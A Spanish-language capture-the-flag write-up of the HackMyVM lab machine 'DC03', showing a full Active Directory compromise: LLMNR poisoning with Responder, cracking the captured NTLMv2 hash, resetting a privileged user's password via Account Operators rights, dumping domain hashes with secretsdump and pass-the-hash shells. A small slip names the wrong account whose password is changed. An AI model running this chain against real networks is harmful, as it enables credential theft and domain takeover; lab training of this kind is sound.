DC03 – HackMyVM Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: HackMyVM

‘HackMyVM’ Avatar


Resumen Link to heading

“DC03” es una máquina de dificultad fácil de la plafatorma HackMyVM la cual introduce algunos conceptos de Active Directory. Luego de preparar un poisoning LLMNR al dominio, somos capaces de obtener un hash para un usuario el cual también somos capaces de crackear. Ya con on usuario, procedemos a enumerar el dominio con al herramienta ldapsearch. Podemos ver que este usuario es parte del grupo Account Operators y, por ende, puede cambiar la password de otros usuarios. Podemos, además, ver que el grupo Operators es parte del grupo Domain Admins. Es así como, impersonando al usuario del grupo Account Operators, cambiamos la contraseña de un usuario en el grupo Operators. Esto nos permite ganar acceso al sistema como un usuario con privilegios máximos, tomando así control total del sistema.


User / Usuario Link to heading

Empezamos con un escaneo con Nmap en busca de puertos TCP en la máquina víctima. Primero identificamos los puertos abiertos a través de un escaneo silencioso:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn 10.20.1.130 

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-14 19:14 -03
Nmap scan report for 10.20.1.130
Host is up (0.00096s latency).
Not shown: 65517 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
49667/tcp open  unknown
49674/tcp open  unknown
49687/tcp open  unknown
49706/tcp open  unknown
MAC Address: 08:00:27:9F:55:1C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 26.80 seconds

Encontramos muchos puertos abiertos. Entre ellos tenemos: 53 Domain Name System (DNS), 88 Kerberos, 135 Microsoft RPC, 389 Lightweight Directory Access Protocol (LDAP), 445 Server Message Block (SMB) and 5985 Windows Remote Management (WinRM), entre otros. Aplicando algunos scripts de reconocimiento sobre estos puertos con la flag -sVC obtenemos:

❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49674,49687,49706 10.20.1.130 

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-14 19:17 -03
Nmap scan report for 10.20.1.130
Host is up (0.00038s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-09-15 02:18:00Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49687/tcp open  msrpc         Microsoft Windows RPC
49706/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:9F:55:1C (Oracle VirtualBox virtual NIC)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 3h59m58s
|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:9f:55:1c (Oracle VirtualBox virtual NIC)
| smb2-time:
|   date: 2024-09-15T02:18:48
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.43 seconds

Podemos entonces usar la herramienta enum4linux-ng (la cual puede ser descargada desde su repositorio de Github) para obtener información de la máquina víctima. Ejecutando este script tenemos:

❯ python3 /home/gunzf0x/GitStuff/enum4linux-ng/enum4linux-ng.py 10.20.1.130

ENUM4LINUX - next generation

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.20.1.130
[*] Username ......... ''
[*] Random Username .. 'acsljoyw'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

<SNIP>
 ==========================================================
|    Domain Information via SMB session for 10.20.1.130    |
 ==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: DC01
NetBIOS domain name: SOUPEDECODE
DNS domain: SOUPEDECODE.LOCAL
FQDN: DC01.SOUPEDECODE.LOCAL
Derived membership: domain member
Derived domain: SOUPEDECODE
<SNIP>

Tenemos un dominio: SOUPEDECODE.LOCAL.

Si los mensajes SMB no se encuentran firmados podemos tratar de interceptarlos y extraer el hash del usuario que los envía. Podemos entonces intentar un LLMNR poisoning usando la herramienta Responder. Realizando esto tenemos un hash:

❯ sudo responder -I eth0

<SNIP>

[+] Listening for events...

[*] [NBT-NS] Poisoned answer sent to 10.20.1.130 for name FILESERVER (service: File Server)
[SMB] NTLMv2-SSP Client   : 10.20.1.130
[SMB] NTLMv2-SSP Username : soupedecode\xkate578
[SMB] NTLMv2-SSP Hash     : xkate578::soupedecode:55b02b10bdffda6b:44CE62E33EF8C6674A1D768D2E3BA1C3:0101000000000000005212C7DC06DB01B5CB3437D16BAD67000000000200080036004A003200350001001E00570049004E002D00430035004D003400360048005300530043004200550004003400570049004E002D00430035004D00340036004800530053004300420055002E0036004A00320035002E004C004F00430041004C000300140036004A00320035002E004C004F00430041004C000500140036004A00320035002E004C004F00430041004C0007000800005212C7DC06DB0106000400020000000800300030000000000000000000000000400000ABF978677B978261BF6D67F1D5AEAC3CD62F0C48003935C2CE6654CF3BE24A030A0010000000000000000000000000000000000009001E0063006900660073002F00460069006C0065005300650072007600650072000000000000000000

Obtenemos un hash para el usuario xkate578. Guardamos este hash en un archivo llamado xkate_hash.

Podemos entonces intentar performar un Brute Force Password Cracking con al herramienta JohnTheRipper junto con el diccionario rockyou.txt:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt xkate_hash

Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jesuschrist      (xkate578)
1g 0:00:00:00 DONE (2024-09-14 19:47) 7.692g/s 19692p/s 19692c/s 19692C/s 123456..hassan
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

Somos capaces de obtener credenciales: xkate578:jesuschrist.

Podemos entonces usar la herramienta NetExec para ver si estas credenciales funcionan para autenticarnos ante el servicio SMB:

❯ netexec smb 10.20.1.130 -u 'xkate578' -p 'jesuschrist'

SMB         10.20.1.130     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB         10.20.1.130     445    DC01             [+] SOUPEDECODE.LOCAL\xkate578:jesuschrist

y funcionan.

Podemos, además, usar la flag --share para ver los recursos compartidos a los cuales tiene acceso este usuario:

❯ netexec smb 10.20.1.130 -u 'xkate578' -p 'jesuschrist' --shares

SMB         10.20.1.130     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB         10.20.1.130     445    DC01             [+] SOUPEDECODE.LOCAL\xkate578:jesuschrist
SMB         10.20.1.130     445    DC01             [*] Enumerated shares
SMB         10.20.1.130     445    DC01             Share           Permissions     Remark
SMB         10.20.1.130     445    DC01             -----           -----------     ------
SMB         10.20.1.130     445    DC01             ADMIN$                          Remote Admin
SMB         10.20.1.130     445    DC01             C$                              Default share
SMB         10.20.1.130     445    DC01             IPC$            READ            Remote IPC
SMB         10.20.1.130     445    DC01             NETLOGON        READ            Logon server share
SMB         10.20.1.130     445    DC01             share           READ,WRITE
SMB         10.20.1.130     445    DC01             SYSVOL          READ            Logon server share

De aquí podemos ver uno que no es usual: share.

Luego, usamos la herramienta smbmap para leer el recurso compartido llamado shared:

❯ smbmap -H 10.20.1.130 -u 'xkate578' -p 'jesuschrist' --no-banner -r 'share'

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.20.1.130:445 Name: 10.20.1.130               Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share
        share                                                   READ, WRITE
        ./share
        dw--w--w--                0 Sat Sep 14 23:52:24 2024    .
        dr--r--r--                0 Thu Aug  1 01:38:08 2024    ..
        fr--r--r--              282 Thu Aug  1 01:38:08 2024    desktop.ini
        fr--r--r--               70 Thu Aug  1 01:39:25 2024    user.txt
        SYSVOL                                                  READ ONLY       Logon server share

Donde podemos ver un archivo llamado user.txt dentro de este recurso compartido.

Podemos entonces usar la flag --download con smbmap para descargar este archivo:

❯ smbmap -H 10.20.1.130 -u 'xkate578' -p 'jesuschrist' --no-banner --download 'share/user.txt'

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] Starting download: share\user.txt (70 bytes)
[+] File output to: /home/gunzf0x/OtherMachines/TallerEthicalHackingUC/DC03/content/10.20.1.130-share_user.txt
[*] Closed 1 connections

y leer su contenido:

❯ cat 10.20.1.130-share_user.txt

12f54a96*******************

NT Authority/System - Administrador Link to heading

Dado que el servicio Kerberos, asumo que estamos en un entorno Active Directory (AD). Por tanto, intentamos obtener la estructura de este entorno AD usando la herramienta bloodhound-python (la cual puede ser instalada con Python usando el comando pip3 install bloodhound). Ya instalado, lo ejecutamos pasándole las credenciales halladas:

❯ bloodhound-python -u XKATE578 -p jesuschrist -d SOUPEDECODE.LOCAL -ns 10.20.1.130 -c all

Traceback (most recent call last):
  File "/home/gunzf0x/.local/bin/bloodhound-python", line 8, in <module>
    sys.exit(main())
             ^^^^^^
  File "/home/gunzf0x/.local/lib/python3.11/site-packages/bloodhound/__init__.py", line 308, in main
    ad.dns_resolve(domain=args.domain, options=args)
  File "/home/gunzf0x/.local/lib/python3.11/site-packages/bloodhound/ad/domain.py", line 699, in dns_resolve
    q = self.dnsresolver.query(query, 'SRV', tcp=self.dns_tcp)
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/dns/resolver.py", line 1364, in query
    return self.resolve(
           ^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/dns/resolver.py", line 1321, in resolve
    timeout = self._compute_timeout(start, lifetime, resolution.errors)
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/dns/resolver.py", line 1075, in _compute_timeout
    raise LifetimeTimeout(timeout=duration, errors=errors)
dns.resolver.LifetimeTimeout: The resolution lifetime expired after 3.107 seconds: Server Do53:10.20.1.130@53 answered The DNS operation timed out.

Pero encontramos un error. No está reconociendo el servidor DNS.

Intento usar la herramienta dnschef para falsear nuestro localhost como un servidor DNS. Esta herramienta viene instalada por defecto con Kali Linux. De no estarlo, podemos instalarla desde su repositorio de Github. Usamos esta herramienta ejecutando en una terminal:

❯ sudo dnschef --fakeip 10.20.1.130

          _                _          __
         | | version 0.4  | |        / _|
       __| |_ __  ___  ___| |__   ___| |_
      / _` | '_ \/ __|/ __| '_ \ / _ \  _|
     | (_| | | | \__ \ (__| | | |  __/ |
      \__,_|_| |_|___/\___|_| |_|\___|_|
                   iphelix@thesprawl.org

(20:24:36) [*] DNSChef started on interface: 127.0.0.1
(20:24:36) [*] Using the following nameservers: 8.8.8.8
(20:24:36) [*] Cooking all A replies to point to 10.20.1.130

Y luego ejecutar:

❯ bloodhound-python -c ALL -u 'xkate578' -p 'jesuschrist' -d 'SOUPEDECODE.LOCAL' -ns 127.0.0.1

Pero esto sigue sin funcionar.

Dado que Bloodhound no funcionó gracias a problemas con el servidor DNS, podemos usar el servicio LDAP para obtener información del dominio. Primero, agregamos el dominio principal y el DC01 (Domain Controller) a nuestro archivo /etc/hosts:

❯ echo '10.20.1.130 SOUPEDECODE.LOCAL DC01.SOUPEDECODE.LOCAL' | sudo tee -a /etc/hosts

Luego, usamos la herramienta ldapdomaindump (instalable con el comando pip3 install ldapdomaindump) para extraer toda la información del entorno corriendo:

❯ ldapdomaindump -u 'SOUPEDECODE.LOCAL\xkate578' -p 'jesuschrist' 10.20.1.130

[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished

Esto generará múltiples archivos. Entre ellos tenemos archivos .html los cuales pueden ser usados para ver el output con una visual agradable. Para ver estos archivos, empezamos un servidor Python HTTP temporal en el puerto 8080 ejecutando:

❯ python3 -m http.server 8080

en el mismo directorio donde los archivos .html se encuentran localizados.

Hecho esto, visitamos http://127.0.0.1:8080 en un navegador de internet como Firefox y deberíamos de ser capaces de ver nuestros archivos. Clickeando en el archivo domain_users.html y buscando por xkate578 (el usuario que hemos impersonado) muestra:

DC03

Encontramos que el usuario xkate578 es parte del grupo Account Operators. Basados en la documentación oficial de Microsoft para AD, este grupo nos deja crear o mosificar la password de algunas cuentas. De manera que deberíamos de ser capaces de cambiar la contraseña de algún usuario. Usualmente, este grupo no es capaz de cambiar la contraseña de usuarios administradores. Pero si buscamos por usuarios en el grupo Domain Admins, encontramos:

DC03 2

El usuario Administrator pertenece a este grupo (como es esperable) y también el grupo Operators pertenece a este grupo. Revisando cuáles usuarios pertenecen al grupo Operators, encontramos:

DC03 3

Podemos ver un usuario llamado fbeth103 el cual pertenece al grupo Operators (y, por tanto, éste a su vez pertenece al grupo Domain Admins -o Administradores de Dominio-). Podemos entonces tratar de cambiar la contraseña de este usuario y ver si esto funciona.

Para esto podemos usar la herramienta impacket-changepasswd de Impacket para intentar cambiar la contraseña de este usuario:

❯ impacket-changepasswd SOUPEDECODE.LOCAL/fbeth103@10.20.1.130 -newpass 'Game0ver!' -altuser 'xkate578' -altpass 'jesuschrist' -no-pass -reset

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Setting the password of SOUPEDECODE.LOCAL\fbeth103 as SOUPEDECODE.LOCAL\xkate578
[*] Connecting to DCE/RPC as SOUPEDECODE.LOCAL\xkate578
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.

Donde estamos cambiando la contraseña del usuario xkate578 a Game0ver!.

Hecho esto, usamos NetExec para ver si el cambio de contraseña ha funcionado:

❯ netexec smb 10.20.1.130 -u 'fbeth103' -p 'Game0ver!'

SMB         10.20.1.130     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB         10.20.1.130     445    DC01             [+] SOUPEDECODE.LOCAL\fbeth103:Game0ver! (Pwn3d!)

y funcionó.

Además, puedo ver el texto Pwn3d!. Cuando NetExec muestra este mensaje para un usuario en el servicio SMB, esto quiere decir que el usuario tiene privilegios en el sistema.


Escalada de Privilegios #1: Dumpear hashes Link to heading

Dado que nuestro usuario es un usuario privilegiado, podemos usar la herramienta impacket-secretsdump para dumpear todos los hashes del sistema:

❯ impacket-secretsdump SOUPEDECODE.LOCAL/fbeth103:'Game0ver!'@10.20.1.130

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6
<SNIP>
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2176416a80e4f62804f101d3a55d6c93:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb9d84e61e78c26063aced3bf9398ef0:::
soupedecode.local\bmark0:1103:aad3b435b51404eeaad3b435b51404ee:d72c66e955a6dc0fe5e76d205a630b15:::
soupedecode.local\otara1:1104:aad3b435b51404eeaad3b435b51404ee:ee98f16e3d56881411fbd2a67a5494c6:::
soupedecode.local\kleo2:1105:aad3b435b51404eeaad3b435b51404ee:bda63615bc51724865a0cd0b4fd9ec14:::
soupedecode.local\eyara3:1106:aad3b435b51404eeaad3b435b51404ee:68e34c259878fd6a31c85cbea32ac671:::
<SNIP>

Podemos así extraer el hash NTLM del usuario Administrator.

Con este hash podemos intentar un ataque Pass The Hash, por ejemplo, a través del servicio WinRM. Revisamos, nuevamente, si este hash funciona con NetExec:

❯ netexec winrm 10.20.1.130 -u 'Administrator' -H '2176416a80e4f62804f101d3a55d6c93'

WINRM       10.20.1.130     5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:SOUPEDECODE.LOCAL)
WINRM       10.20.1.130     5985   DC01             [+] SOUPEDECODE.LOCAL\Administrator:2176416a80e4f62804f101d3a55d6c93 (Pwn3d!)

Y nos conectamos a la máquina víctima usando la herramienta evil-winrm:

❯ evil-winrm -i 10.20.1.130 -u 'Administrator' -H '2176416a80e4f62804f101d3a55d6c93'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami

soupedecode\administrator

Escalada de Privilegios #2: Usar wmiexec.py Link to heading

Dado el servicio SMB nos mostró que el usuario fbeth103 es privilegiado, y dadoi que el servicio LDAP se encuentra activo, podemos usar wmiexec.py de Impacket para ganar acceso a la máquina víctima:

❯ python3 /usr/share/doc/python3-impacket/examples/wmiexec.py SOUPEDECODE.LOCAL/fbeth103:'Game0ver!'@10.20.1.131

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami

soupedecode\fbeth103

Si revisamos los privilegios de este usuario podemos ver:

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

Este usuario tiene absolutamente todos los privilegios habilitados; ello quiere decir que este usuario es equivalente al usuario Administrator y podemos realizar las acciones que queramos sobre el sistema.


Podemos entonces leer la flag en el directorio C:\Users\Administrator\Desktop.

~Happy Hacking.